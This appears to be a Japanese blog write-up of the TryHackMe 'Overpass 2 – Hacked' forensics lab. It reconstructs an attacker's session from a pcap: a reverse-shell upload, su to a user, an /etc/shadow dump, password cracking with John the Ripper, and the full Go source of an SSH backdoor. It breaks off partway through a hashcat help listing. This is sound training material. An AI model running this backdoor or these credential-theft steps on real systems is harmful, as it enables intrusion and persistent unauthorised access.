今回は、wiresharkを利用してパケット解析し、ssh-backdoorの侵入を解析してみます。
「TryHackMe-Overpass2-Hacked：https://tryhackme.com/room/overpass2hacked」
TryHackMe
Overpass 2 – Hacked
Overpass has been hacked! Can you analyse the attacker’s actions and hack back in?
おすすめの参考書
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著:Justin Seitz, 著:Tim Arnold, 監修:萬谷 暢崇, 翻訳:新井 悠, 翻訳:加唐 寛征, 翻訳:村上 涼
¥3,520 （2024/11/18 20:28時点 | Amazon調べ）
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著:徳丸 浩
¥3,168 （2024/11/18 08:11時点 | Amazon調べ）
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目次
事前準備
まずは、「Download Task Files」を選択して、ファイルをダウンロードしておきます。
「overpass2.pcapng」というファイルが取得できていれば、OKです。
Forensics – Analyse the PCAP
では、早速問いに答えていきましょう。
こちらの内容は、Wiresharkを利用して攻撃がどのように行われたか見ていく作業になります。
What was the URL of the page they used to upload a reverse shell?（リバースシェルのアップロードに使用したページのURLは？）
まずは、先ほどダウンロードしたファイルをWiresharkで開いて確認してみましょう。
root@ip-10-10-248-79:~/Desktop# sudo wireshark overpass2.pcapngこんな画面が開いたかと思います。
一番最初のTCPパケットを右クリックして、Follow > TCP Streemを選択しましょう。
「/development/」が利用されたことがわかります。
Answer
What payload did the attacker use to gain access?（攻撃者はどのようなペイロードを使ってアクセスしたのか？）
次のTCPパケットを確認してみます。
どうやら「/development/upload.php」を利用して、「payload.php」というファイルをアップロードしたことがわかります。
payload.phpには、リバースシェルが含まれていることも確認できました。
Answer
What password did the attacker use to privesc?（攻撃者がプライベートに使用したパスワードは？）
別のTCPパケットに利用されたパスワードがありました。
また、攻撃者が何をしたのかも情報があります。
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@overpass-production:/var/www/html/development/uploads$ ls -lAh
ls -lAh
total 8.0K
-rw-r--r-- 1 www-data www-data 51 Jul 21 17:48 .overpass
-rw-r--r-- 1 www-data www-data 99 Jul 21 20:34 payload.php
www-data@overpass-production:/var/www/html/development/uploads$ cat .overpass
cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQH96?6G6C?@E62CE:?DE2?EQN.www-data@overpass-production:/var/www/html/development/uploads$ su james
su james
Password: whenevernoteartinstant
james@overpass-production:/var/www/html/development/uploads$ cd ~
cd ~
james@overpass-production:~$ sudo -l]
sudo -l]
sudo: invalid option -- ']'
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user]
[command]
usage: sudo [-AbEHknPS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p
prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p
prompt] [-T timeout] [-u user] file ...
james@overpass-production:~$ sudo -l
sudo -l
[sudo] password for james: whenevernoteartinstant
Matching Defaults entries for james on overpass-production:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on overpass-production:
(ALL : ALL) ALL
james@overpass-production:~$ sudo cat /etc/shadow
sudo cat /etc/shadow
root:*:18295:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
sshd:*:18464:0:99999:7:::
james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::
james@overpass-production:~$ git clone https://github.com/NinjaJc01/ssh-backdoor
<git clone https://github.com/NinjaJc01/ssh-backdoor
Cloning into 'ssh-backdoor'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 5% (1/18)
remote: Counting objects: 11% (2/18)
remote: Counting objects: 16% (3/18)
remote: Counting objects: 22% (4/18)
remote: Counting objects: 27% (5/18)
remote: Counting objects: 33% (6/18)
remote: Counting objects: 38% (7/18)
remote: Counting objects: 44% (8/18)
remote: Counting objects: 50% (9/18)
remote: Counting objects: 55% (10/18)
remote: Counting objects: 61% (11/18)
remote: Counting objects: 66% (12/18)
remote: Counting objects: 72% (13/18)
remote: Counting objects: 77% (14/18)
remote: Counting objects: 83% (15/18)
remote: Counting objects: 88% (16/18)
remote: Counting objects: 94% (17/18)
remote: Counting objects: 100% (18/18)
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 6% (1/15)
remote: Compressing objects: 13% (2/15)
remote: Compressing objects: 20% (3/15)
remote: Compressing objects: 26% (4/15)
remote: Compressing objects: 33% (5/15)
remote: Compressing objects: 40% (6/15)
remote: Compressing objects: 46% (7/15)
remote: Compressing objects: 53% (8/15)
remote: Compressing objects: 60% (9/15)
remote: Compressing objects: 66% (10/15)
remote: Compressing objects: 73% (11/15)
remote: Compressing objects: 80% (12/15)
remote: Compressing objects: 86% (13/15)
remote: Compressing objects: 93% (14/15)
remote: Compressing objects: 100% (15/15)
remote: Compressing objects: 100% (15/15), done.
Unpacking objects: 5% (1/18)
Unpacking objects: 11% (2/18)
Unpacking objects: 16% (3/18)
Unpacking objects: 22% (4/18)
Unpacking objects: 27% (5/18)
Unpacking objects: 33% (6/18)
Unpacking objects: 38% (7/18)
remote: Total 18 (delta 4), reused 7 (delta 1), pack-reused 0
Unpacking objects: 44% (8/18)
Unpacking objects: 50% (9/18)
Unpacking objects: 55% (10/18)
Unpacking objects: 61% (11/18)
Unpacking objects: 66% (12/18)
Unpacking objects: 72% (13/18)
Unpacking objects: 77% (14/18)
Unpacking objects: 83% (15/18)
Unpacking objects: 88% (16/18)
Unpacking objects: 94% (17/18)
Unpacking objects: 100% (18/18)
Unpacking objects: 100% (18/18), done.
james@overpass-production:~$ cd ssh-backdoor
cd ssh-backdoor
james@overpass-production:~/ssh-backdoor$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/james/.ssh/id_rsa): id_rsa
id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58 james@overpass-production
The key's randomart image is:
+---[RSA 2048]----+
| .. . |
| . + |
| o .=. |
| . o o+. |
| + S +. |
| =.o %. |
| ..*.% =. |
| .+.X+*.+ |
| .oo=++=Eo. |
+----[SHA256]-----+
james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
chmod +x backdoor
james@overpass-production:~/ssh-backdoor$ ./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
<9d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
SSH - 2020/07/21 20:36:56 Started SSH backdoor on 0.0.0.0:2222- idコマンドで、ユーザIDやユーザ名、グループID、グループ名などの識別情報を確認
- pythonを使用し、ptyモジュールをインポートして、新しいより安定したシェルを生成
- .overpassを確認
- suコマンドを利用して、jamesに切り替え（権限昇格）
- jamesに権限昇格後、sudo -lを利用して、ルート権限で実行できるコマンドを確認（すべてのコマンドが許可されていることを確認）
- /etc/shadowファイルに保存されているハッシュを確認
- ssh-backdoorをクローン
- ssh-keygenを利用して、SSHの公開鍵と秘密鍵を生成
- ssh-backdoorを実行（2222でバックドアが実行されている状態になる）
とりあえず、パスワードを聞かれているので「whenevernoteartinstant」が答えになります。
Answer
How did the attacker establish persistence?（攻撃者はどのようにして永続性を確立したのか？）
永続化は、ssh-backdoorですね。
githubのURLを聞かれているようなので、下記のコマンドの部分が答えになります。
james@overpass-production:~$ git clone https://github.com/NinjaJc01/ssh-backdoorAnswer
Using the fasttrack wordlist, how many of the system passwords were crackable?（fastback wordlistを使って、解読可能なシステム・パスワードはいくつありましたか？）
/etc/shadowの中身をテキストに保存して、John The Ripperでfastback wordlistを利用して確認してみましょう。
root@ip-10-10-248-79:~# vi johnpass.txt
root@ip-10-10-248-79:~# cat johnpass.txt
root:*:18295:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
sshd:*:18464:0:99999:7:::
james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::コマンドは、下記のような感じになります。
root@ip-10-10-248-79:~# /sbin/john --wordlist=/usr/share/wordlists/fasttrack.txt johnpass
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
secret12 (bee)
abcd123 (szymex)
1qaz2wsx (muirland)
secuirty3 (paradox)
4g 0:00:00:00 DONE (2023-08-12 15:14) 7.407g/s 411.1p/s 2055c/s 2055C/s Spring2017..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 答えは、この4つになります。
- bee：secret12
- szymex：absc123
- muirland：1qaz2wsx
- paradox：secuirty3
Answer
Research – Analyse the code（リサーチ – コードの分析）
次は、ssh-backdoorのコードを解析してみましょう。
What’s the default hash for the backdoor?（バックドアのデフォルトのハッシュは？）
ssh-backdoorには、デフォルトハッシュが設定されているようです。
実際にコードを見てみます。
package main
import (
"crypto/sha512"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os/exec"
"github.com/creack/pty"
"github.com/gliderlabs/ssh"
"github.com/integrii/flaggy"
gossh "golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
)
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
func main() {
var (
lport uint = 2222
lhost net.IP = net.ParseIP("0.0.0.0")
keyPath string = "id_rsa"
fingerprint string = "OpenSSH_8.2p1 Debian-4"
)
flaggy.UInt(&lport, "p", "port", "Local port to listen for SSH on")
flaggy.IP(&lhost, "i", "interface", "IP address for the interface to listen on")
flaggy.String(&keyPath, "k", "key", "Path to private key for SSH server")
flaggy.String(&fingerprint, "f", "fingerprint", "SSH Fingerprint, excluding the SSH-2.0- prefix")
flaggy.String(&hash, "a", "hash", "Hash for backdoor")
flaggy.Parse()
log.SetPrefix("SSH - ")
privKeyBytes, err := ioutil.ReadFile(keyPath)
if err != nil {
log.Panicln("Error reading privkey:\t", err.Error())
}
privateKey, err := gossh.ParsePrivateKey(privKeyBytes)
if err != nil {
log.Panicln("Error parsing privkey:\t", err.Error())
}
server := &ssh.Server{
Addr: fmt.Sprintf("%s:%v", lhost.String(), lport),
Handler: sshterminal,
Version: fingerprint,
PasswordHandler: passwordHandler,
}
server.AddHostKey(privateKey)
log.Println("Started SSH backdoor on", server.Addr)
log.Fatal(server.ListenAndServe())
}
func verifyPass(hash, salt, password string) bool {
resultHash := hashPassword(password, salt)
return resultHash == hash
}
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}
func sshHandler(s ssh.Session) {
command := s.RawCommand()
if command != "" {
s.Write(runCommand(command))
return
}
term := terminal.NewTerminal(s, "$ ")
for {
command, _ = term.ReadLine()
if command == "exit" {
return
}
term.Write(runCommand(command))
}
}
func sshterminal(s ssh.Session) {
cmd := exec.Command("/bin/bash", "-i")
ptyReq, _, isPty := s.Pty()
if isPty {
cmd.Env = append(cmd.Env, fmt.Sprintf("TERM=%s", ptyReq.Term))
f, err := pty.Start(cmd)
if err != nil {
panic(err)
}
go func() {
io.Copy(f, s) // stdin
}()
io.Copy(s, f) // stdout
cmd.Wait()
} else {
io.WriteString(s, "No PTY requested.\n")
s.Exit(1)
}
}
func runCommand(cmd string) []byte {
result := exec.Command("/bin/bash", "-c", cmd)
response, _ := result.CombinedOutput()
return response
}
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}ここの部分がデフォルトハッシュですね。
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"Answer
What’s the hardcoded salt for the backdoor?（バックドア用のハードコードされたソルトは何ですか？）
ssh-backdoorには、saltがハードコーディングされています。
コードは、下記の部分です。
func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}Answer
What was the hash that the attacker used? – go back to the PCAP for this!（攻撃者が使用したハッシュとは？- これについてはPCAPに戻ってください！）
攻撃者が実際に使ったハッシュは何かと聞かれています。
Wiresharkで見ると、下記が実際に使ったハッシュのようです。
james@overpass-production:~/ssh-backdoor$ ./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bedAnswer
Crack the hash using rockyou and a cracking tool of your choice. What’s the password?（rockyouとお好みのクラッキングツールを使用してハッシュをクラックします。パスワードは何ですか？）
sha512ハッシュは、passwordとsaltを利用して作成されることは、下記から解ります。
func hashPassword(password string, salt string) string {
hash := sha512.Sum512([]byte(password + salt))
return fmt.Sprintf("%x", hash)
}hashcatのヘルプを確認してみましょう。
┌──(root㉿kali)-[~/work]
└─# hashcat --help
hashcat (v6.2.6) starting in help mode
・・・
# | Name | Category
======+============================================================+======================================
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
100 | SHA1 | Raw Hash
1300 | SHA2-224 | Raw Hash
1400 | SHA2-256 | Raw Hash
10800 | SHA2-384 | Raw Hash
1700 | SHA2-512 | Raw Hash
17300 | SHA3-224 | Raw Hash
17400 | SHA3-256 | Raw Hash
17500 | SHA3-384 | Raw Hash
17600 | SHA3-512 | Raw Hash
6000 | RIPEMD-160 | Raw Hash
600 | BLAKE2b-512 | Raw Hash
11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash
11800 | GOST R 34.11-2012 (Streebog) 512-bit, big-endian | Raw Hash
6900 | GOST R 34.11-94 | Raw Hash
17010 | GPG (AES-128/AES-256 (SHA-1($pass))) | Raw Hash
5100 | Half MD5 | Raw Hash
17700 | Keccak-224 | Raw Hash
17800 | Keccak-256 | Raw Hash
17900 | Keccak-384 | Raw Hash
18000 | Keccak-512 | Raw Hash
6100 | Whirlpool | Raw Hash
10100 | SipHash | Raw Hash
70 | md5(utf16le($pass)) | Raw Hash
170 | sha1(utf16le($pass)) | Raw Hash
1470 | sha256(utf16le($pass)) | Raw Hash
10870 | sha384(utf16le($pass)) | Raw Hash
1770 | sha512(utf16le($pass)) | Raw Hash
610 | BLAKE2b-512($pass.$salt) | Raw Hash salted and/or iterated
620 | BLAKE2b-512($salt.$pass) | Raw Hash salted and/or iterated
10 | md5($pass.$salt) | Raw Hash salted and/or iterated
20 | md5($salt.$pass) | Raw Hash salted and/or iterated
3800 | md5($salt.$pass.$salt) | Raw Hash salted and/or iterated
3710 | md5($salt.md5($pass)) | Raw Hash salted and/or iterated
4110 | md5($salt.md5($pass.$salt)) | Raw Hash salted and/or iterated
4010 | md5($salt.md5($salt.$pass)) | Raw Hash salted and/or iterated
21300 | md5($salt.sha1($salt.$pass)) | Raw Hash salted and/or iterated
40 | md5($salt.utf16le($pass)) | Raw Hash salted and/or iterated
2600 | md5(md5($pass)) | Raw Hash salted and/or iterated
3910 | md5(md5($pass).md5($salt)) | Raw Hash salted and/or iterated
3500 | md5(md5(md5($pass))) | Raw Hash salted and/or iterated
4400 | md5(sha1($pass)) | Raw Hash salted and/or iterated
4410 | md5(sha1($pass).$salt) | Raw Hash salted and/or iterated
20900 | md5(sha1($pass).md5($pass).sha1($pass)) | Raw Hash salted and/or iterated
21200 | md5(sha1($salt).md5($pass)) | Raw Hash salted and/or iterated
4300 | md5(strtoupper(md5($pass))) | Raw Hash salted and/or iterated
30 | md5(utf16le($pass).$salt) | Raw Hash salted and/or iterated
110 | sha1($pass.$salt) | Raw Hash salted and/or iterated
120 | sha1($salt.$pass) | Raw Hash salted and/or iterated
4900 | sha1($salt.$pass.$salt) | Raw Hash salted and/or iterated
4520 | sha1($salt.sha1($pass)) | Raw Hash salted and/or iterated
24300 | sha1($salt.sha1($pass.$salt)) | Raw Hash salted and/or iterated
140 | sha1($salt.utf16le($pass)) | Raw Hash salted and/or iterated
19300 | sha1($salt1.$pass.$salt2) | Raw Hash salted and/or iterated
14400 | sha1(CX) | Raw Hash salted and/or iterated
4700 | sha1(md5($pass)) | Raw Hash salted and/or iterated
4710 | sha1(md5($pass).$salt) | Raw Hash salted and/or iterated
21100 | sha1(md5($pass.$salt)) | Raw Hash salted and/or iterated
18500 | sha1(md5(md5($pass))) | Raw Hash salted and/or iterated
4500 | sha1(sha1($pass)) | Raw Hash salted and/or iterated
4510 | sha1(sha1($pass).$salt) | Raw Hash salted and/or iterated
5000 | sha1(sha1($salt.$pass.$salt)) | Raw Hash salted and/or iterated
130 | sha1(utf16le($pass).$salt) | Raw Hash salted and/or iterated
1410 | sha256($pass.$salt) | Raw Hash salted and/or iterated
1420 | sha256($salt.$pass) | Raw Hash salted and/or iterated
22300 | sha256($salt.$pass.$salt) | Raw Hash salted and/or iterated
20720 | sha256($salt.sha256($pass)) | Raw Hash salted and/or iterated
21420 | sha256($salt.sha256_bin($pass)) | Raw Hash salted and/or iterated
1440 | sha256($salt.utf16le($pass)) | Raw Hash salted and/or iterated
20800 | sha256(md5($pass)) | Raw Hash salted and/or iterated
20710 | sha256(sha256($pass).$salt) | Raw Hash salted and/or iterated
21400 | sha256(sha256_bin($pass)) | Raw Hash salted and/or iterated
1430 | sha256(utf16le($pass).$salt) | Raw Hash salted and/or iterated
10810 | sha384($pass.$salt) | Raw Hash salted and/or iterated
10820 | sha384($salt.$pass) | Raw Hash salted and/or iterated
10840 | sha384($salt.utf16le($pass)) | Raw Hash salted and/or iterated
10830 | sha384(utf16le($pass).$salt) | Raw Hash salted and/or iterated
1710 | sha512($pass.$salt) | Raw Hash salted and/or iterated
1720 | sha512($salt.$pass) | Raw Hash salted and/or iterated
1740 | sha512($salt.utf16le($pass)) | Raw Hash salted and/or iterated
1730 | sha512(utf16le($pass).$salt) | Raw Hash salted and/or iterated
50 | HMAC-MD5 (key = $pass) | Raw Hash authenticated
60 | HMAC-MD5 (key = $salt) | Raw Hash authenticated
150 | HMAC-SHA1 (key = $pass) | Raw Hash authenticated
160 | HMAC-SHA1 (key = $salt) | Raw Hash authenticated
1450 | HMAC-SHA256 (key = $pass) | Raw Hash authenticated
1460 | HMAC-SHA256 (key = $salt) | Raw Hash authenticated
1750 | HMAC-SHA512 (key = $pass) | Raw Hash authenticated
1760 | HMAC-SHA512 (key = $salt) | Raw Hash authenticated
11750 | HMAC-Streebog-256 (key = $pass), big-endian | Raw Hash authenticated
11760 | HMAC-Streebog-256 (key = $salt), big-endian | Raw Hash authenticated
11850 | HMAC-Streebog-512 (key = $pass), big-endian | Raw Hash authenticated
11860 | HMAC-Streebog-512 (key = $salt), big-endian | Raw Hash authenticated
28700 | Amazon AWS4-HMAC-SHA256 | Raw Hash authenticated
11500 | CRC32 | Raw Checksum
27900 | CRC32C | Raw Checksum
28000 | CRC64Jones | Raw Checksum
18700 | Java Object hashCode() | Raw Checksum
25700 | MurmurHash | Raw Checksum
27800 | MurmurHash3 | Raw Checksum
14100 | 3DES (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
14000 | DES (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
26401 | AES-128-ECB NOKDF (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
26402 | AES-192-ECB NOKDF (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
26403 | AES-256-ECB NOKDF (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
15400 | ChaCha20 | Raw Cipher, Known-plaintext attack
14500 | Linux Kernel Crypto API (2.4) | Raw Cipher, Known-plaintext attack
14900 | Skip32 (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
11900 | PBKDF2-HMAC-MD5 | Generic KDF
12000 | PBKDF2-HMAC-SHA1 | Generic KDF
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
12100 | PBKDF2-HMAC-SHA512 | Generic KDF
8900 | scrypt | Generic KDF
400 | phpass | Generic KDF
16100 | TACACS+ | Network Protocol
11400 | SIP digest authentication (MD5) | Network Protocol
5300 | IKE-PSK MD5 | Network Protocol
5400 | IKE-PSK SHA1 | Network Protocol
25100 | SNMPv3 HMAC-MD5-96 | Network Protocol
25000 | SNMPv3 HMAC-MD5-96/HMAC-SHA1-96 | Network Protocol
25200 | SNMPv3 HMAC-SHA1-96 | Network Protocol
26700 | SNMPv3 HMAC-SHA224-128 | Network Protocol
26800 | SNMPv3 HMAC-SHA256-192 | Network Protocol
26900 | SNMPv3 HMAC-SHA384-256 | Network Protocol
27300 | SNMPv3 HMAC-SHA512-384 | Network Protocol
2500 | WPA-EAPOL-PBKDF2 | Network Protocol
2501 | WPA-EAPOL-PMK | Network Protocol
22000 | WPA-PBKDF2-PMKID+EAPOL | Network Protocol
22001 | WPA-PMK-PMKID+EAPOL | Network Protocol
16800 | WPA-PMKID-PBKDF2 | Network Protocol
16801 | WPA-PMKID-PMK | Network Protocol
7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocol
10200 | CRAM-MD5 | Network Protocol
16500 | JWT (JSON Web Token) | Network Protocol
29200 | Radmin3 | Network Protocol
19600 | Kerberos 5, etype 17, TGS-REP | Network Protocol
19800 | Kerberos 5, etype 17, Pre-Auth | Network Protocol
28800 | Kerberos 5, etype 17, DB | Network Protocol
19700 | Kerberos 5, etype 18, TGS-REP | Network Protocol
19900 | Kerberos 5, etype 18, Pre-Auth | Network Protocol
28900 | Kerberos 5, etype 18, DB | Network Protocol
7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth | Network Protocol
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
5500 | NetNTLMv1 / NetNTLMv1+ESS | Network Protocol
27000 | NetNTLMv1 / NetNTLMv1+ESS (NT) | Network Protocol
5600 | NetNTLMv2 | Network Protocol
27100 | NetNTLMv2 (NT) | Network Protocol
29100 | Flask Session Cookie ($salt.$salt.$pass) | Network Protocol
4800 | iSCSI CHAP authentication, MD5(CHAP) | Network Protocol
8500 | RACF | Operating System
6300 | AIX {smd5} | Operating System
6700 | AIX {ssha1} | Operating System
6400 | AIX {ssha256} | Operating System
6500 | AIX {ssha512} | Operating System
3000 | LM | Operating System
19000 | QNX /etc/shadow (MD5) | Operating System
19100 | QNX /etc/shadow (SHA256) | Operating System
19200 | QNX /etc/shadow (SHA512) | Operating System
15300 | DPAPI masterkey file v1 (context 1 and 2) | Operating System
15310 | DPAPI masterkey file v1 (context 3) | Operating System
15900 | DPAPI masterkey file v2 (context 1 and 2) | Operating System
15910 | DPAPI masterkey file v2 (context 3) | Operating System
7200 | GRUB 2 | Operating System
12800 | MS-AzureSync PBKDF2-HMAC-SHA256 | Operating System
12400 | BSDi Crypt, Extended DES | Operating System
1000 | NTLM | Operating System
9900 | Radmin2 | Operating System
5800 | Samsung Android Password/PIN | Operating System
28100 | Windows Hello PIN/Password | Operating System
13800 | Windows Phone 8+ PIN/password | Operating System
2410 | Cisco-ASA MD5 | Operating System
9200 | Cisco-IOS $8$ (PBKDF2-SHA256) | Operating System
9300 | Cisco-IOS $9$ (scrypt) | Operating System
5700 | Cisco-IOS type 4 (SHA256) | Operating System
2400 | Cisco-PIX MD5 | Operating System
8100 | Citrix NetScaler (SHA1) | Operating System
22200 | Citrix NetScaler (SHA512) | Operating System
1100 | Domain Cached Credentials (DCC), MS Cache | Operating System
2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2 | Operating System
7000 | FortiGate (FortiOS) | Operating System
26300 | FortiGate256 (FortiOS256) | Operating System
125 | ArubaOS | Operating System
501 | Juniper IVE | Operating System
22 | Juniper NetScreen/SSG (ScreenOS) | Operating System
15100 | Juniper/NetBSD sha1crypt | Operating System
26500 | iPhone passcode (UID key + System Keybag) | Operating System
122 | macOS v10.4, macOS v10.5, macOS v10.6 | Operating System
1722 | macOS v10.7 | Operating System
7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating System
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating System
1500 | descrypt, DES (Unix), Traditional DES | Operating System
29000 | sha1($salt.sha1(utf16le($username).':'.utf16le($pass))) | Operating System
7400 | sha256crypt $5$, SHA256 (Unix) | Operating System
1800 | sha512crypt $6$, SHA512 (Unix) | Operating System
24600 | SQLCipher | Database Server
131 | MSSQL (2000) | Database Server
132 | MSSQL (2005) | Database Server
1731 | MSSQL (2012, 2014) | Database Server
24100 | MongoDB ServerKey SCRAM-SHA-1 | Database Server
24200 | MongoDB ServerKey SCRAM-SHA-256 | Database Server
12 | PostgreSQL | Database Server
11100 | PostgreSQL CRAM (MD5) | Database Server
28600 | PostgreSQL SCRAM-SHA-256 | Database Server
3100 | Oracle H: Type (Oracle 7+) | Database Server
112 | Oracle S: Type (Oracle 11+) | Database Server
12300 | Oracle T: Type (Oracle 12+) | Database Server
7401 | MySQL $A$ (sha256crypt) | Database Server
11200 | MySQL CRAM (SHA1) | Database Server
200 | MySQL323 | Database Server
300 | MySQL4.1/MySQL5 | Database Server
8000 | Sybase ASE | Database Server
8300 | DNSSEC (NSEC3) | FTP, HTTP, SMTP, LDAP Server
25900 | KNX IP Secure - Device Authentication Code | FTP, HTTP, SMTP, LDAP Server
16400 | CRAM-MD5 Dovecot | FTP, HTTP, SMTP, LDAP Server
